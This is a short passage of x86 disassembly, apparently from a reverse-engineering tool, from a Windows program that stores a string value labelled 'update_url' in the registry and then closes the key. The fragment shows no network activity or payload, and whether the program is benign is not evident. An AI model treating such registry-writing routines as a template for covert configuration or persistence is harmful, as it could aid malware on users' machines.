jae 0x4029e7
push eax
lea eax, [ebp - 0x404]
xor edx, edx
push eax
push 1
push esi
push str.update_url
push dword [ebp - 0x408]
mov word [ebp + ecx - 0x404], dx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x408]
test eax, eax
je 0x4029da
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
jmp 0x40295d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40295e
call fcn.004558b3
int3